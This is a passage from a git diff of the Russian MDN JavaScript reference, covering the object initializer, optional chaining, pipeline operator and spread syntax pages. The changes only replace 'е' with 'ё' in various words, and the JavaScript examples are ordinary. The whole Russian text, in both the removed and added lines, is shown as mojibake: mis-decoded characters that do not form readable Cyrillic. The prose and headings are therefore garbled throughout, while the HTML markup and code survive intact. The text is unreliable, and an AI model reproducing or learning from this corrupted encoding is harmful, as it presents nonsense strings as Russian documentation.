+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎΠ΅ состояниС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта функция Π΅Ρ‰Ρ‘ Π½Π΅ достигла ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π”Π°Π½Π½Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ запуска ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… тСстов Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π² <a href="https://github.com/tc39/test262">Test262</a>, стандартном Π½Π°Π±ΠΎΡ€Π΅ тСстов JavaScript, Π² Π½ΠΎΡ‡Π½ΠΎΠΉ сборкС ΠΈΠ»ΠΈ Π² послСднСй вСрсии Π΄Π²ΠΈΠΆΠΊΠ° JavaScript ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<div>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</div>
diff --git a/files/ru/web/javascript/reference/operators/object_initializer/index.html b/files/ru/web/javascript/reference/operators/object_initializer/index.html
index 5f8d445e0d..8487de375a 100644
--- a/files/ru/web/javascript/reference/operators/object_initializer/index.html
+++ b/files/ru/web/javascript/reference/operators/object_initializer/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Operators/Object_initializer
---
<div>{{JsSidebar("ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹")}}</div>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a>Β </code>ΠΈΠ»ΠΈΒ <em>Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ</em>Β (<em>ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ</em>) Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ. Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β ΡΡ‚ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми список ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ°Ρ€Β ΠΈΠΌΠ΅Π½ свойств и ассоциируСмых с Π½ΠΈΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки (<code>{}</code>).</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>new Object()</code></a>,<code> <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a>Β </code>ΠΈΠ»ΠΈΒ <em>Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ</em>Β (<em>ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ</em>) Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ. Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β ΡΡ‚ΠΎ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми список ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠ°Ρ€Β ΠΈΠΌΡ‘Π½ свойств и ассоциируСмых с Π½ΠΈΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки (<code>{}</code>).</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -26,16 +26,16 @@ var o = {
<p>ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°, просмотритС Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ этих Π½ΠΎΡ‚Π°Ρ†ΠΈΠΉ. Π’ Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠΌ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ, эти Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄ΡƒΡ‚ ΠΊ синтаксичСской ошибкС.</p>
-<pre class="brush: js">// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ свойств (ES2015)
+<pre class="brush: js">// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½ свойств (ES2015)
var a = 'foo', b = 42, c = {};
var o = {a, b, c};
-// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² (ES2015)
+// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² (ES2015)
var o = {
<var>property</var>([<var>parameters</var>]) {}
};
-// ВычислСниС ΠΈΠΌΠ΅Π½ свойств (ES2015)
+// ВычислСниС ΠΈΠΌΡ‘Π½ свойств (ES2015)
var prop = 'foo';
var o = {
[prop]: 'hey',
@@ -52,7 +52,7 @@ var o = {
<pre class="brush: js">var object = {};</pre>
-<p>Однако, прСимущСство <em>Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ</em>Β ΠΈΠ»ΠΈΒ <em>ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ</em>Β Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π±Ρ‹ΡΡ‚Ρ€ΠΎΒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ со свойствами Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок. БоздаСтся простой список ΠΏΠ°Ρ€Β <code>ΠΊΠ»ΡŽΡ‡: Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</code>, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятой. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с трСмя ΠΏΠ°Ρ€Π°ΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ ΠΊΠ»ΡŽΡ‡ΠΈ это <code>"foo"</code>, <code>"age"</code> ΠΈ <code>"baz"</code>. ЗначСния этих ΠΊΠ»ΡŽΡ‡Π΅ΠΉ строка <code>"bar"</code>, число <code>42</code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
+<p>Однако, прСимущСство <em>Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ</em>Β ΠΈΠ»ΠΈΒ <em>ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ</em>Β Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π±Ρ‹ΡΡ‚Ρ€ΠΎΒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ со свойствами Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Ρ… скобок. Боздаётся простой список ΠΏΠ°Ρ€Β <code>ΠΊΠ»ΡŽΡ‡: Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</code>, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятой. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с трСмя ΠΏΠ°Ρ€Π°ΠΌΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ ΠΊΠ»ΡŽΡ‡ΠΈ это <code>"foo"</code>, <code>"age"</code> ΠΈ <code>"baz"</code>. ЗначСния этих ΠΊΠ»ΡŽΡ‡Π΅ΠΉ строка <code>"bar"</code>, число <code>42</code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
<pre class="brush: js">var object = {
foo: 'bar',
@@ -90,14 +90,14 @@ var o = {
b = 42,
c = {};
-// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ свойств (ES2015)
+// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½ свойств (ES2015)
var o = {a, b, c};
// Π˜Π½Π°Ρ‡Π΅ говоря,
console.log((o.a === {a}.a)); // true
</pre>
-<h4 id="ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅_ΠΈΠΌΠ΅Π½_свойств">ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ свойств</h4>
+<h4 id="ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅_ΠΈΠΌΡ‘Π½_свойств">ΠŸΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½ свойств</h4>
<p>Когда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° свойств, Π²Ρ‚ΠΎΡ€ΠΎΠ΅ свойство ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡˆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π²ΠΎΠ΅.</p>
@@ -105,14 +105,14 @@ console.log((o.a === {a}.a)); // true
console.log(a); // {x: 2}
</pre>
-<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ECMAScript 5, ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ свойств Π±ΡƒΠ΄Π΅Ρ‚ воспринято ΠΊΠ°ΠΊ {{jsxref("SyntaxError")}}.Β  Π‘ Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ вычисляСмых ΠΈΠΌΠ΅Π½ свойств ΠΈ появлСниСм возмоТности ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚Ρ‹Β Π²ΠΎ врСмя выполнСния ΠΊΠΎΠ΄Π°, ECMAScript 2015Β ΡƒΠ±Ρ€Π°Π» это ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Π’ строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ ECMAScript 5, ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½ свойств Π±ΡƒΠ΄Π΅Ρ‚ воспринято ΠΊΠ°ΠΊ {{jsxref("SyntaxError")}}.Β  Π‘ Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ вычисляСмых ΠΈΠΌΡ‘Π½ свойств ΠΈ появлСниСм возмоТности ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚Ρ‹Β Π²ΠΎ врСмя выполнСния ΠΊΠΎΠ΄Π°, ECMAScript 2015Β ΡƒΠ±Ρ€Π°Π» это ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅.</p>
<pre class="brush: js">function haveES2015DuplicatePropertySemantics() {
'use strict';
try {
({prop: 1, prop: 2});
- // НС Π±ΡƒΠ΄Π΅Ρ‚ ошибки, ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ доступно Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅
+ // НС Π±ΡƒΠ΄Π΅Ρ‚ ошибки, ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π΅Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½ доступно Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅
return true;
} catch(e) {
// Π‘ΡƒΠ΄Π΅Ρ‚ ошибка, Π΄ΡƒΠ±Π»ΠΈΠΊΠ°Ρ‚Ρ‹ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½Ρ‹ Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅
@@ -132,7 +132,7 @@ console.log(a); // {x: 2}
<p>Π’ ECMAScript 2015, доступна короткая нотация, поэтому слово "function" Π±ΠΎΠ»Π΅Π΅ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
-<pre class="brush: js">// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² (ES2015)
+<pre class="brush: js">// Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² (ES2015)
var o = {
<var>property</var>([<var>parameters</var>]) {},
*<var>generator</var>() {}
@@ -243,7 +243,7 @@ assert(obj3.__proto__ === 17);
<li>Π’ JSON значСния ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ строками, числами, массивами,Β <code>true</code>, <code>false</code>, <code>null</code>Β ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈΒ (JSON) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ.</li>
<li>ЗначСния-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ (смотри "ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹" Π²Ρ‹ΡˆΠ΅) Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ присвоСны свойствам Π² JSON.</li>
<li>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β Π²ΠΈΠ΄Π° {{jsxref("Date")}} Π±ΡƒΠ΄Π΅Ρ‚ строкой послС {{jsxref("JSON.parse()")}}.</li>
- <li>{{jsxref("JSON.parse()")}} ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΠΈΡ‚ вычисляСмыС ΠΈΠΌΠ΅Π½Π° свойств и Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</li>
+ <li>{{jsxref("JSON.parse()")}} ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΠΈΡ‚ вычисляСмыС ΠΈΠΌΠ΅Π½Π° свойств и Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</li>
</ul>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/operators/optional_chaining/index.html b/files/ru/web/javascript/reference/operators/optional_chaining/index.html
index 959d17c800..b82d793eee 100644
--- a/files/ru/web/javascript/reference/operators/optional_chaining/index.html
+++ b/files/ru/web/javascript/reference/operators/optional_chaining/index.html
@@ -48,7 +48,7 @@ let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.secon
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>?.</code><strong>,Β </strong>ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ использовании API, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСдоступСн из-Π·Π° устарСвания ΠΈΠ»ΠΈ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌ ΠΎΡΡ‚ΠΈΒ ΡƒΡΡ‚Ρ€ΠΎΠΉΡΡ‚Π²ΠΎΠΌΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
-<p>ИспользованиС <code>?.</code><strong>Β </strong>с Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ автоматичСски Π²Π΅Ρ€Π½Π΅Ρ‚ <code>undefined</code>, Π° Π½Π΅ выбросит ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½:</p>
+<p>ИспользованиС <code>?.</code><strong>Β </strong>с Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ автоматичСски Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>undefined</code>, Π° Π½Π΅ выбросит ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½:</p>
<pre class="brush: js">let result = someInterface.customMethod?.();</pre>
@@ -101,7 +101,7 @@ myMap.set("foo", {name: "baz", desc: "inga"});
let nameBar = myMap.get("bar")?.name;</pre>
-<h3 id="Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅_Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅">Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅</h3>
+<h3 id="Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅_Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅">Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅</h3>
<p>ΠŸΡ€ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΠΈΒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π²Β Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡΡ…, Π³Π΄Π΅ лСвая Ρ‡Π°ΡΡ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Π½Π΄Π° Ρ€Π°Π²Π½Π°Β <code>null</code>Β ΠΈΠ»ΠΈΒ <code>undefined</code>, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ. НапримСр:</p>
diff --git a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html
index ec069c9e24..3fee1a8a0d 100644
--- a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html
@@ -58,7 +58,7 @@ double(increment(double(double(5)))); // 42
<tr>
<td><a href="http://tc39.github.io/proposal-pipeline-operator/">Pipeline operator draft</a></td>
<td>Π­Ρ‚Π°ΠΏ 1</td>
- <td>Π•Ρ‰Π΅ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ECMAScript.</td>
+ <td>Π•Ρ‰Ρ‘ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ECMAScript.</td>
</tr>
</tbody>
</table>
diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html
index c96be61337..1019bdd757 100644
--- a/files/ru/web/javascript/reference/operators/spread_syntax/index.html
+++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html
@@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax
var args = [0, 1, 2];
myFunction.apply(null, args);</pre>
-<p>Π‘ <strong>spread syntax</strong> Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ:</p>
+<p>Π‘ <strong>spread syntax</strong> Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ:</p>
<pre class="brush: js notranslate">function myFunction(x, y, z) { }
var args = [0, 1, 2];
@@ -58,7 +58,7 @@ myFunction(-1, ...args, 2, ...[3]);</pre>
<h4 id="Apply_для_new">Apply для new</h4>
-<p>Вызывая конструктор Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>new</code>, Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив ΠΈΒ <code>apply</code>Β <strong>Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽΒ </strong>(<code>apply</code> выполняСт <code>[[Call]]</code>,Β Π° Π½Π΅ <code>[[Construct]]</code>).Однако благодаря spread syntax, массив ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ использован со словом <code>new:</code></p>
+<p>Вызывая конструктор Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>new</code>, Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ массив ΠΈΒ <code>apply</code>Β <strong>Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽΒ </strong>(<code>apply</code> выполняСт <code>[[Call]]</code>,Β Π° Π½Π΅ <code>[[Construct]]</code>).Однако благодаря spread syntax, массив ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ использован со словом <code>new:</code></p>
<pre class="brush: js notranslate">var dateFields = [1970, 0, 1]; // 1 Jan 1970
var d = new Date(...dateFields);
@@ -103,7 +103,7 @@ var lyrics = ['head', ...parts, 'and', 'toes'];
// ["head", "shoulders", "knees", "and", "toes"]
</pre>
-<p>Аналогично Ρ€Π°Π·Π²Π΅Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΡŽ Π² массивС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²,Β <code>...</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован повсСмСстно ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ Π² Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π΅ массива.</p>
+<p>Аналогично Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΡŽ Π² массивС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²,Β <code>...</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован повсСмСстно ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ Π² Π»ΠΈΡ‚Π΅Ρ€Π°Π»Π΅ массива.</p>
<h4 id="ΠšΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_массива">ΠšΠΎΠΏΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ массива</h4>
@@ -147,7 +147,7 @@ var arr2 = [3, 4, 5];
// Prepend all items from arr2 onto arr1
Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]</pre>
